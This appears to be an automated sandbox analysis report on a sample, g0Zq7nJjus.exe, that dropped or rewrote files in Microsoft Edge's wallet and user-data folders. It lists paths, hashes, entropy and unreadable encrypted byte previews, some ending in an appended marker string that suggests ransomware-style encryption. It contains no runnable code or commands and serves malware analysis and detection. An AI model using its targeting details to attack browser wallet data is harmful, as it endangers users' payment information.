Preview:	/! F..{$.....G.Q...(..G.H.y.".zS.>.4...........:...$K..o!\|gc..,..8...l.Q..Y.(X.,..4.<?..6.M..........A..$.k.....r...6..p.............[......Q....D...kq.j..\........}..0....&...Y..Y@..x.$..U... .0.n...\|pB.:`.O.]...,...A.'.....5.7.O.....^....7.:Ev..k)wi........[...L\|..Q.4VW...-...FL....}.f..U..RA&.D.'..R....>.......wv...u..R~R.6J\........._rV...7DG.L).y.h^......... ....}....KE.0M.W.h.<..h=7...0...Q.G.....c..)..../...'...A. ..t3.b.......Q.2x`~E7../C-.#..1H:....yT...7.h.na..p8....<{.=_...<..MeC.i.d...l'.x>..1v...+\NG.A.x6.=8......b.6..71e. -......Z....._..yw....D.\|./.)...=c.]a.....i.Y...X...#KH~.L.........>...K..7A...t.....9k....>n\|...C}.k.Q..b}J!.....j.Z..`..MK.=..ET..TJ.a.,@iL).F....Z.\.w..X..........T..A9.p.....>OT...)x..DK...\)E..J7.9.j.y.Rn'&9.7.E8b.`ntX.3ZM.+8..V..Q?.`............I..>....... .(..}.l....`.H...l.9.4..V8'Z.e......./C....T.H.d5cc\|..Y..9s~..Eo.~..QdM=qe.j.-."b@.SbK..0x{....>S.5SH.*l.........#.{.b.h...wB..^..9...7

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1651
Entropy (8bit):	7.879317262398633
Encrypted:	false
SSDEEP:	48:tB//suRznLCQHqF4GfVLcelgguI6Vww/W3QD:tB8uRLeuqKGtLcCggcwZ8
MD5:	2B163D95D0A6C1545288386C906C1D30
SHA1:	7DC1B0C1017E5818D8D0B01A13AA5872BA39DF73
SHA-256:	F85BCCC1098CC8E9C711CEA27DF41C00915C1B6F569141F92BF65FBCAD5BB23C
SHA-512:	D7DE1B870066BFD3D170F09766B9A270F7E6108F2FA0191E8BE44F45A6163D3D9BFDA3ABB301BBC1EC52F5D32005224D87A5E71C16C07E76699731B9452CD4B1
Malicious:	false
Preview:	/.obpe.".w...B.1D...UR.u@....@#................?..\|..y..T...8N.J7.2..S..52.@..kt....@..]..(.J.:]K.T..DkP......L.........X.._y.....7.l@..W.Q.q....>......0...).).[..9~.....o.Jl6:.M...W..-..z....H....kRcW...P....96..Nj...l>.new.Xqw..Q..x.vT.1[`.J...dJi_mVl...:.Rp..D.;..R...R..._.yX....$...uA.-uIM.Q.MS..z..$&..O.{..r..["C.j..\.a.wF.g.u.J6.Q..P...(H2. ....+.Utl.....I]R...ie.....&.k..o.Q.U4...\|.}....e'r?......h........!.jd.W..\|?.K....O..........'..q. 7.E..).....a..R@.....L&....7..O..xY..;.5..x.A.L..b.-..+o1.....R..C.#4!..<j..yY./C.....+J...1.K..@t....^S-k.....<.5.W3U...L{..,.\|.K1..w..e..p..S.]..^....N..pfY:..?.... O.$.;..&G!.C~.f...a.F.&.......`m..mC........S.j..v.......^...l}..t..C9v....@;.x(..........n.5~,..!.R.~..u.....aQ...u.F.a.[...r.J.ms.2.......i.}3....Nc....\|Qiw.*K.&.{..hI....sA.U.#R..@H.W.K^+..t#....<..?.y...\|.v-.3^...+].....F.t..n.3@y....VT.'.'....c.......sb._d..y.:.v.Q_x....9._...O~..Q......@):!F.5>/H..s1.\|i......hd.3.m.Q.F....@.6..5...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.html

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.87176854589839
Encrypted:	false
SSDEEP:	48:2c0uJzZ2p3fzxgrjlCABrApsOfJCsXeUlD:/L50pvtWkseJC5Y
MD5:	EC43A26B6253BE4D21B61767F53F3D73
SHA1:	5D21160C5A0512A033F17032299CB9483A11E099
SHA-256:	2C56CA6A9762E9BCC1D5043D01A1A0BAC8C89C3FE2DF906D6AEA4D9C398828FF
SHA-512:	65A648F3CC0661220AD6EA2619F56EBF66B3529C50B60029AD6F0754150150140D13A8ECC76978E609FC84C5EBAEF81817ED06B53E6A106005B5B94E64BC8D96
Malicious:	false
Preview:	<!doc.[...$``..O.s..v.na.>.2,L..].k..k..%....%n.g4"...V2Y...0. K.e.4ko.v......yl...7C.....E..J@.f\|n.......P.....D..$"....:..T.\...\...{{..W.u.DI...I..O%.{..o.9..x..,P:....Ns..g.{F9....@.......,.[."..D.}.IM..{.4.!.5.R.f..\|...L..Y..JK}.......ye.....IyySC.X....4.7..MU.9!j.q..c}./.2...E.#..4.%E.4...../^...0..`..N.F}}.>... ....K..A...;....1...bLW.Ke......\.4...P...W..M.$C1..<C.%...8f.BN]..b.##T.Z....t.....q..iPV.0Q......7>B..^..O....4UR...I...D......$..9.x..n.;..A..w.B.m.....-.}.@p.A.n..0z& u".n..[....p...=...e$...2A`/P.....#..N.M.l..R.,.._...5}CBD..J.........o...........S..:..&E..a._2v..4..'0.x..{.Fj..xg.h.....w...H$K.p.ZZ.....#...%g..f)..W.f.Y...H..<..Y...W..lAB/E..\j-...s.DF..oQ9MM.@E.b.(j.....D.U.'.S1X..9?........>.../(.z..h.S...YYE.4..4D.E8.4.7.>..\|......!.y..\.]b....@..c....i....A.J.........*\|.t......3..;.g.V.....6.._.$z..........4.).~...7q[D..m..@..\|.=....H$....9.....P....R..GAVI.-....a...R"U...:.H.>..N..&.d.W<<...lo.l0...<

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\app-setup.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	371
Entropy (8bit):	7.35200199697814
Encrypted:	false
SSDEEP:	6:FYlwEHIX/BojPlsl6GLC0jCYfNuXUSVNClgXz2UXSYqHJIwGlnIS1WdNcii96Z:FYljymjPlsltLC0EGgjJOHJCWSUdNciD
MD5:	D846FE69362810E6E4D63796E25A8347
SHA1:	01941761FA6379778F97DC10ABF5B93433E632EA
SHA-256:	D40006283FED989A036B1BFF6EDE82117FA9EE8E285300A13FFB21C1F20C1E62
SHA-512:	FE444A6CEE80CD9FCE581C31A111E1423231F18FBE6AF9F632E91EC67B7F5F368F00849142DB1E0333FCD00039203CDBE1B97F909B0CD16CEBD2F1DC9F54A788
Malicious:	false
Preview:	windo2I....<i.z.:.lp.U\|5R..D.Z.LP='.....,CY..6h.G.....i..b.L..".qZ.h...W....(..A.k.G....G..`iR....(.7.......#......zk.I......tuwE..Z..S....a5...s....P.H*..4h.uP.."......'.$.E......v.+X.R....9.._f.....s.v9~.\%3.....q`...4.4e..-dV.Z.(..,.!:>.....n.SZS.6g."..lo)B.J~..K....)z.....g.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\load-ec-i18n.bundle.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	16498
Entropy (8bit):	7.987714228027568
Encrypted:	false
SSDEEP:	384:rV7O35IcnKt0PzIJbWcY6pyK4zj+hjFsXC7q:FO2t0sJi5BjejJ7q
MD5:	EC9E2521ED533ADCD462CE5F3B1A1CE9
SHA1:	A502786736BC8FB7AFD8920389B709177C47BF23
SHA-256:	CA3B16E2CE0F846DC5198AC67E1F2716D3C27825DEC1C09CDCF73693F1A003A7
SHA-512:	28011170812C500B508C5D5E91039E1FB28F6DC39585EA8052E7700146FFB847BFAA1B099FE300E523D21DC8A3187F7DD9152A081EA06B7247C2106247961946
Malicious:	false
Preview:	(()=>wZxB.91Vc.[....dIlH.^.#...'.I....."T.{.FiW..r&X..L....2].J`.R.f..F./N..\Sq=....HX.e..W..].Z.E-.7..V...5-..)...E.....Pq.k.1...D^S..=}.~.h.-..}.....d.c:.4q.mys.yt...\J...ni.S..,...Kv.HF@w;\|...Y;.....Gq...}.....ns.....\5.;.N..8..jZ'Z...5.J.f...L.c'J...;{.l...e@.PJ}u9....l...@.iE+...-7....b...... U.'.{.k....}....?e9.....L........e.....a.d.lc\|uPyD....f..haX.80w..s..G.....z..5....-...=(.e._S..dJ........Fy...,G....I.Ph...r...Q.......p....]....Q"....m2.T.6>.G%..Z)......:....YO.Xr./.OP5c....+.....C...$G.............'c.(&..."..(fJxL.[.7...x@..+..<....L.h..V..o..M..1.L..h..6.sB.P...A...........L3'6..u...jk.-........n..W....fq....n...v....G....I..c.n,R...E..Om.XF.Q..=..YGn.c....".jx:.'v`....B..)\|.v....G.n..YT.iz..x....(.,.>.j.P2.....5.W8KJX....^.F..k..n ....G7.h...'..%5..{M;...S..._.\|........v....?..5\...W.@.4$B.5.d......4.....yX.Y..qy.....;..G.C...{..V....^....F$.W[7U..F.og.J@V..@'..( .(..>O.6.w..2.......>..U....2.jo...W..U...NY_.].

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1394997
Entropy (8bit):	6.146107213764796
Encrypted:	false
SSDEEP:	24576:KADjF90j/2Fx2Mr+Y2mHDvpttZwJbhTJrSK4VPYOI+AmOkmMOkxhdlrw+QsjZIQX:KADj4/2Fx2MrPbDvpttZwJbhTJrSK4VF
MD5:	265D1390A0A65807B70EC77845405E4C
SHA1:	D5D4E8487E85AA657E35C0898F4FE1CFAC229B88
SHA-256:	1E5A398F332B1A7EFA9524BA35B11CCDD81FE7262D72A8B4DD5302984412E075
SHA-512:	0BC065B382A53622CBD861620DD6A228D65D9A8E66619BD2B9FF0D8AAABBB346A5E7E63F0391BEB11D24B8503079CB3B44324AB3038B7F293C5537AB668F7F33
Malicious:	false
Preview:	/! F...k.\...r...2.'.>W.u.. .\....'....E.`>.[1^....C.Y.s.....t.}?..8`T._.B..`/.t..lh...)...I...Sz.R..L..P..ZQ..,H......7.G....B..%ndQO.]E8pc..a`.....l$K....=.B....M2..5..jwUH..B.].. .Ba. ..k..D:.f..l..5.Q`..x.c.!O.A.....B.".....B.s...8.(...G......?$......W<..G.C\.L;..<..w..+a....3\|...rL.w......6..F..qBtp.\..<H.Lz.GJ.[#...0..U.P...6.........\|....w$r.X.Fe..Al.s.>..a.......;..h. d9g..7...X..@.OV....FgHU....KH...&....K.K.\O.R........-...j.S.w.l..l.B.Jw.....JK .(F.k...R.m4..h.CY....a...\|.1^....A,t..._......\:f.....K....>...6..3yc.....zc4..6...W..+.6..........0.o.KY..os0..].C.[.0%..H6u.~.!..}4C....H..-.....T.j...+..0....OyN.pJvM...%+&3.. .....E,>.K..e.p4Wr..ms.....).6.8..\..c.....b.........h....'7.....\b;mY..!.y/..-li...6.K.8...i....gM3.....K....$..e^.<..r....M6$.#.PVY..SlC.=.B. ....[B..e?......x,][...).hUe.$....>.].M.....N3.."...=......4."C.C.....L.;.....}..-...E.V.E....!p.w..pS..j...l}f.....I[X." Vj..>..r......%....Zj.s.......p..$...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2128
Entropy (8bit):	7.902639117929976
Encrypted:	false
SSDEEP:	48:vygIqLxOpe8coj+ehaI3t45X1jyS65UXnBg5D:KgIqLxOpe8NJbS5X1jyTSnBo
MD5:	1FB558982DE3B1CEC142A86F2CBDAC99
SHA1:	471A63871A154A443E3EF137D3D89AE8B4EB1014
SHA-256:	A5E29AC0AEC2FCA45698C7EEAE9B4DA24E55975B510F227BBD592841BDFD950B
SHA-512:	54A4D99FA1086F50311D5B729821D064FEFACECCCA799C941A14A5FA5E757AD9F9EC8270B16F0E8DEC322194825C1921E3BC74F31DEB824FD8645C40F555F109
Malicious:	false
Preview:	/.ob.J>.Z&..1V....\..L..4k.x..q{....,.....u...J.%....E..9..-..].,.e.,.T....7....')5.......I....Q...&......:O.Z..\|...[...H.f....P....lL...Y9m+... ,Y..1...f..t.at"...q.....Q...J..[.Q._K.$?.2.\C3#G.....".R.].fZ.>...`.....P.....vX..K.y.\|...W...o..G...I.azo...[.......HW..k....V.H...bW..Y./[.z....5.%...uO@J/6../..W....H.-.~g..&)LF>:.@..gXY.TO..$.I..8.\|..B.f.r]..;.6.%o....s.O.y&M./[.d....F[.........]E.z....4.g.......h-....eh."A..F.....'..k..-9..n......S...a.d/..@>@.."/.....4..U...v..........S...nmF..H..zg..s.2.B.t. ...E...........Y..Hw.3.9..2.....f.U.].....i..$.^z....)..Z.T.O.4[y&.....m.w+a,Q+4.n...2..P0.q..i..4O.]...:....~..M.a.@U.....q$..I#..ptlV.'...>...l.D..n.....+]m...CK...a.?i.".}..T.\.^1l...j\......w\qOF..sZ..7.jn..C>.:d]......{....5....b..z..".......{............0.`.bI.....r.0n...n+..>..;)`[....%R..T.)H+..[./cxn.....dxb7.Z.9....=.?..;...@..:....1:......._..{>.L..e......B.`.v...~pi......l~N.h..\|)...7.#.g.8W...z.V.v.:Kw.O.3=.O6@..5.,Z .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.html

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2212
Entropy (8bit):	7.913501167377277
Encrypted:	false
SSDEEP:	48:htjRg4qoILL5IgtFGMyupoxHJzQooOMavoRWliD:h/g4qDL5IoF/ynxpz2koUq
MD5:	60759864D6F911AB73C61ED7465F8ED2
SHA1:	52179FFCBB4B104CD7658DC43CA3BAEC0602606B
SHA-256:	997437F5886EEA7460B8181BFBF3B61F3C006EB66D0886462CFDE89F08C9E7A5
SHA-512:	15EC9DA2AA6AC7D81BAAE577F6EFC16AC1583E078EEE18A2F8142ADE920CD5FA1B234E6EB261F0CE9797D9D9D516117360C481E58E472FDE374366A280A611CA
Malicious:	false
Preview:	<!doc....:.F......X.u...t.&.C..M.....`M.......g.7..oI.\|.xf.A.O....56.....KV+....%Ik.B.M......-..n..J..L..\.....Shn$.d.......k....x..l.$._?..@.s..u....\|I..n.+.8....'+..,.U}.G.U.ti.4....:.y..y..>.zL.....9.f/..;...Cw...L.5..3G..&..Tx.?......E@_U..I.P^c..g4.....X...]y..5.=%.1<`....o....wG..5.y.2...,...B+....b$...).n..`{..}...^..9.....aS...G......e...I..Lw..$...i.6.......(..c..k2...C......\..#q.....k.}].S..W........y....Sh..{..b...3..C...F96z....F..C......P[......S..9)..........Fj+.....l...4.l.<.3.....+..m.?....$V.G..7.KceO.ZU...I5.<.c.....t!.P..3.......@G.A......=.\R....XrH..8M..P}....w.b5$..$2I.c.ixK..X.i.....+.0..W.@......"...#.uN....y.i....D,..M..p.......6..zC..T.....fS.4.....`....L.=.).."...._c&3.'....C1...f=..g.r9r$ ..3....h.......O.....M...V..].aO.Zli..^.]...._.....G..3...k/.p ... ......-........?..z.`.N....C.ilxw..<.......*.!.-.jI.\..q..U....:..........U....b}yszs2U.S.2....q.........y.\|.m.%....US.,..w.8.. ...gJ.........%.....1..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	843227
Entropy (8bit):	6.392711600927354
Encrypted:	false
SSDEEP:	24576:EQH02/y+VlmTu/xTC7XVq9zYFQxMjh52kJSe3JEkJT2jucyjfQHe3JY:7RyCH/xTiXs9zYFQxMjh52kJSe3JEkJK
MD5:	C27F0A0F7EE977196EBCE39E8B08FC88
SHA1:	28C96CB107DCFB08AA6E75E39FB6C14F5C97CD76
SHA-256:	C25208FC4B9F3FEF19A86A49F41D80F702BBEE44DD4792276E190ED5632E839E
SHA-512:	96316AC014C0766DBB88D6266FAFBC0562D81388F1D2CB6ED73F8C160763A94F22A3D6361ACA36E935A8B561E6157F89932C19A9C2D31E8D745C43A66C7C34BA
Malicious:	false
Preview:	/! F8...=8...}......xq..?. .A.O.>v..<.E....P.\|..>......?...O)..l...!z....:........-.....^..y_....(..A!Rk........!d..7c.z...F..&.E../R.d@M`..7...S..(.H...4x.i..l...o.uRT.....qJ..9c[...}..G...%.....aBWg..:...^.....y....w.....aQ..X.....<"r..i..JT.....C..r.B.........)c_.>..d....s@..0.....7.x(......b:.2.....8Y......a.Pa.!iC.2n....{...r<.FV.....p\....>&J..~j)9.Y9.f..D.P.%g.:.c..b....H.........Q.....%..E.f.....p_...j..h...SE.Z.w...s'.1......... T..t.d.j...Eo{.<.J.x.j.'VyC..6}zU..%.5\tx....#/..yM.u1......N...?.....T2{./B......C.2..P..3nJ.......T...12.......J...!..p6.$.A.>q.S...:.Qj9.......`^..S..[.b$.'zb.T\|LO..Sz.%.P....Y.o.&T]..@.WS....I.O........S.6n.\|J...V.<6N.q.m...5[..g.. ....=.-9....w}...,.U.....?9.cU)..+xV.-.K.7'...".r.T.\/...rc/.<.e...E.rz...<5g..Tz."...Q..:9&I..........9..h!...K.s..tW8Vk...q....Oa.OJmj.C&F.}.L .sX".k....@a>.:.+Fc.....i....z........w..J...P.m.A..Xf.j.'..\..m@..r.Lu.Zq.......F3.gOa...<..\|Y4....!y..`..eS.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	7.907220947280067
Encrypted:	false
SSDEEP:	48:Qias1dXB2qAqNbb55hj8rJMzObfcJeWi2fNXWrqhuD:Q3sDA6bb5596JMzeE1m2hW
MD5:	C6DEA80DA3F2824D806F3ECE30D1117D
SHA1:	4D313709AECC1694930B1210CEB0E9440FC694EE
SHA-256:	520AE0AD490D5BD8216D71613768FB9512CB4829FF8DDF3B3BDFEE7CEC7514DF
SHA-512:	640B48C921BDD028D0769E015A6669C26D40B017E6E310B70F818F68BFF712471E39BED2D9F4FC85B209CBD02A0FF53BD3A562B79CFC08FE8310CC497CF491D1
Malicious:	false
Preview:	/.ob.xC..}......F..0..:..O.Z.LutQ.._:....F$..\|..?.:.......>=....?..+.e........d.$v...B;.F2^..T...?^{U......,..&.w..$...../w,..hW...o.c.<..4.n..m8^e/.z0c.G.B.J.y;{.PN..3_.O..T..S.C{.n.....S. ..4...Y.._.XF\..m(dd...yA...gT.dI..d1Ow.@.Hk.E.1.fCT.\..13.b}cn..cZ.+.H....T..m...)B.zW..... +l.....h.fz8..S.........dr:..-y...O..P....~.....9.=A.R56n.a.../...,-.@.K.......Y.D.B.s....3.\|....\|..d{.B...i.]...:+\|y...X...lF.[..=.......0?wN.K%.....Pbc.2u(#t..s8b..e.............B..L~q..h.t...9g...@-..h...U....8.~.s.+.....r..FB.^....:.5..2..`....G.....}#.YJy7Wc...<...X.....AH\|.t.}2...'.M...Y..8..u..F...i.yM.....b.6..n4.6j..\w.......o..k+=...<.).".<+S..Q..?.h....KG..:.....9.+..'<..#7jQI].8@3V.w.....=..C..C..cNR..+....D.].Qn..}CCK.....L..k..,)OG.)...D%4....8.d.8.e.e....i...N.Y.Hk$...(....T}.....9.......o~:......nSF...vUOjPY...=(.DX..2...uP..+.1_..M...H.D]Z.0)./.ro.Y.WA.e.C.z...r...-Y......-...E.........3...h.,Nh...?.P..h...).....U ..k.oP..a..s.!..........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.html

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.893848587128249
Encrypted:	false
SSDEEP:	24:OH1W9Fxmjcua8TGymleDDMktk6ODtSddDHM/LF/bm+My478KLuCGJDGFgy12bD:Q1Wcjcu7a4DDSAdDsDf478KLsJDqcD
MD5:	2BF1B7049A3F870E081BF9D75CBB91B0
SHA1:	7DF0C24FCB1B6DCE7D9088DBACCDE7BED729776F
SHA-256:	4A18B7F44786C25CA762E60AC8622AE25ACF4C80D3A76AC4222788EF7784CA9D
SHA-512:	10920B99A10688C81EDE29845A29E1647D46A806A7E4786E55531A8939FFB8E9E1C290A4BA1619C4D29F5A43D4D860774A46208BEEED00969A3D46AAEF03EBC5
Malicious:	false
Preview:	<!docE]..$....oeRS...U_..sR\M..........A.3.....l..2p=....XHY./......J_;.%...{.zR...............g.C...G...'r.7z..u.B.l..\|...2.T.=X.....V...Rw....-1N.%.....H....#:..2.......j).6.....m..onW.&...........h.I-..;.\|.A.R.Tc.....1%.....k w.2&......4'.;.4+CnE......jq"..]...[..JK..f;.W.A\|.d..6......{Z..0...>.$..>i.0....%..W..!5.....8.8.Sgo<.8I&..=...}.=.30...s......u..d.x.4..k.h.;...;.k..........).W.g..........1.....t....lJ..\|.E.=!..Gr..H....I....x>M..%..Q.29..;nK.v.....jk&g.\H..h.....V_...H...z.;....3..H.;.^JT5As......Sg.z.E.i..{5....zd`...;...5f.p.......Kk...............T.h.d%`......VY...x!..<.]...B.R..dp.a'.....cZ}.$..;$.JQi....H..8....H..C.c..Ev..g.S..C8...\|$..y...9.........[..\|$...4;.].gM......g..u.5...C..F...#;.e;.q.b.H.S.[.+...R...TZ"5...MnI....M.gf .,.X.(\.<{.9...9}:r.84.,..V.A.8..;K.{.[/.E.3...ya...c..1...?......L3"..A...x(<..w...uxl..........!.I..t.dX.BB..VD.]W..u....j.+........lmBa....R...\|....76.[.w..".^4...E..."......+W}H...b

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\README.md

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	420
Entropy (8bit):	7.410369849942364
Encrypted:	false
SSDEEP:	12:6xlAiXflu3Ip9Pl8np03qoPg0u13VSUdNcii9a:6xlrlzRinp06o40u1o2bD
MD5:	8FFFF2B89265083C1A5630E89D5470A5
SHA1:	12B4FE1DF240F9D987E84B4328EE738442F9470D
SHA-256:	311041E07951CD0EA55C5AC4513944388E47B9E259AA57A5C7908F04FE40FCB6
SHA-512:	03364867FC8FA4E248A60DF4D0786EA628C14AC7F0914F711FEB4FB06EE2CDC55CBE5EA31C7A1C5B19C45B46B5DA1C87329B12855C90BA72538B2432A0314243
Malicious:	false
Preview:	# Dis.k.c}...i.......jw.....k.......M...S8..~....N.+.$@I.........ob..I...4.:.>.z.Oqw....NI..<._e....[........ .>g.m.#.+..y.[G.......sa..............4..l.{........I..dv..m.9.....R.%.W..$.\|.p.a..~I;....\|.0zz.x..J..".....l>.Vk.......-.8...N......z.....(....+.......+..5... ...{.-O.g...._.5..v3..n&5\|`.\I>.!D...e........VF...B..xC.GgmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	21010
Entropy (8bit):	7.990917689401278
Encrypted:	true
SSDEEP:	384:AM/dcTI6986Fkq7dfGoSdoQTfsk7PH/0Pyat6fJpayuGM1icuaT8R9+r:p5q7d8oQTdjf04fJfunocDI2r
MD5:	19AFBAE4EECBBAA4B6E3A760D06EFEB6
SHA1:	4B2AE7CEFD8A3D5998D4C2C1DD8BC0089241043D
SHA-256:	C9F84E987796F95868BDD69BEF0042D6325C7B76247E806124B71656333042F2
SHA-512:	C23C0B8991EBC4FB4BED311CFF92C2D4E1B15F0453069439DD117DD8E91C7AF3CB88F7F8B5076547F18332615328ABC42B12398C61CA9D4AC11104BF0303596E
Malicious:	true
Preview:	{. ...)...B@.....em].....@-W\5t.I^.......y.+..:.&&..S.`..=q....@7.pw...r!...cN......b.X.M./Y...N. .zQ.[.I. .]d..Me.^f.....&....B.Zu<..A.........8..'~..cP'.?............R..k.PiVT.nhP..S(i?.f.u&R1..0.h...[\|..1.L..!..X5B.m..oi.4R...X.0...q...m.d......3y.V.;....<.N...D..".....m..b&&.S..`.w...O..y37..%?......l....=c.l@.yV{mj.........m.$.1C..kz..(l...M.{.@....J#...Y.....Yq`....=7l.....\|.]...2r.....U...G.. .....r....G-H........:(:..0..3U..^4t..I.8A.D.h....i..i..b....K..d....(5^..q>Q.$...;-...c....a..f..$.'...JQJ.+K=.q.d2.."Ft..U`LD..20..f....2Y..\|. ..R...3.G..P...I/...:p/YL...j3;...m...J......+L.R.r.6..R.@...D.=.).>C....V.....h~....n...z\k...S..0.....^.wj..\CZ....?.i...0+..p...@U)..A..1...4..1s..u..,..1.{..k.\|.*.7.Db..9V.0.)......\J..P.H}.D}..P.O..i.A/......].rB..p.i..e&.-#......(@RW.....#......N.^.L.9...iI.-.\|..W.\|U...y...+.9J.J..cQw..#^T.7o...P{../.K{-Q..s.WA.r.2.....A...v......x5....u..Z....K.ZO.....K.......F_..;.;.9..6....Z..F....1<....H..B._

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2198
Entropy (8bit):	7.8958247449664025
Encrypted:	false
SSDEEP:	48:il9pqYJK2SVeGpydhH7gKRCH2bSmr2irXg3XcRZsb+6D:sqY0lVzydV7EZmrhrXgHcRBS
MD5:	8F2C7C8B3DEB1BB5102C4C61BF2ABA38
SHA1:	4D19CB758D3655F3333BA76CF3828570F9D3C54D
SHA-256:	07950B6D469FB3837EEC822CED331CAA8127AB1E73D8666F779993CBC2FBA992
SHA-512:	97FDF5E97D590CF597BC7676052332B7474777145CC67B079F9AF1EE0A1BCED400C62898A71ADA9D6C57C92CBFF25D0592F515F706B8181A10932ABFA975BB71
Malicious:	false
Preview:	[{"de..^..}V.l.Q.5[...XVe...#.^5h.VW..={$7...z.....X.,E.x.....&.T.._d....g..KP\|.x...w.~+qdM.-....b..i.Q-D&..<.?.h....Ro..P0.e.._<..$..m..2.:.k.o....QE.......0n..9.iOS..rA3..B.......Ge.......Z....5.y...\.#.......cG.L.+L...Y}...^....j:.'C.{.0..XbT.(.TH{..!....=.w..'....1c"DZ$8S.x....$...w}m....tJK..a..Jx......t\|.?l...Xg?._,..:i.G..3.....j.P))&d)U...l.%.."k..,y0...:.H.....;.m..h.6...H@/.L0.h4..Q(i>.@..#$.]V..W..-.b..F...3.b.!.....Y.W.-f`7..8.:=.........Q8...x.FG..E....2,.j...Mz}...z.r).........as..,...j.......v..6eaw&...;...0'....]0..E.>.=P.'..Uv.o...PX.ab......s...u7...p....m.+Q..<.......^.....`v.C.E....r.R}.>.;5@/8EpL.......v.#..Y....5.y,Ep.y......fY....A..d.;)-.E.v7p..[u.....Gi....2...8....7Y..lr.ED.T u.Fr.G..0... .X:a+.b.F....L@.........s.cr.....Q"cVr+.`...Rv.]...+I8 >.:.......@..);......m.: ..4.6.\.w..hn'....O.O....{..]....\.m.........yw.\|...4.m8\|P..p4.c...C.n9!Hf.my.-P.....?..B*....r..@..p".._..0..R.L2 \|0.hV...Uc..u...k

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips\2983\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2092
Entropy (8bit):	7.906128403465801
Encrypted:	false
SSDEEP:	48:Magx8zpVb1JxtENQZI6+lENBza9qlU1zL6az86wcgmaSD:Mag+vxKOQlENBzrlRaA6wcr
MD5:	629CFFE6D82CFDA83B1BB3688F085F3F
SHA1:	9184332E7BAB9154E2AECC63086403A5AEC025B9
SHA-256:	30207A4C35BC4783113847D229BF44781A0B536335CC0154703DF1C72D74BACD
SHA-512:	742D73CF37867D7141D4441B11DE1AE7C58CC44F0495B794DC97C14159EF78F568DB146091DEFDAA37176A7DC0476975FAD2D554A80E36CB19259454374307B3
Malicious:	false
Preview:	[{"ded_.uJ..s...~"....^..y..4...6...W...dmA.,..D./v$[..r...]z..d..k.....(...#.>..u.......Rl....L..jr[.......X.1..}....=...~......U.`U.9..-..).....Fj..Gp..P;.xkV.+..f..B.RH..V{..snY.`.V.n:&?$o..2.......hia..I....>...m.lk.M..TZ...s....e..::..A1 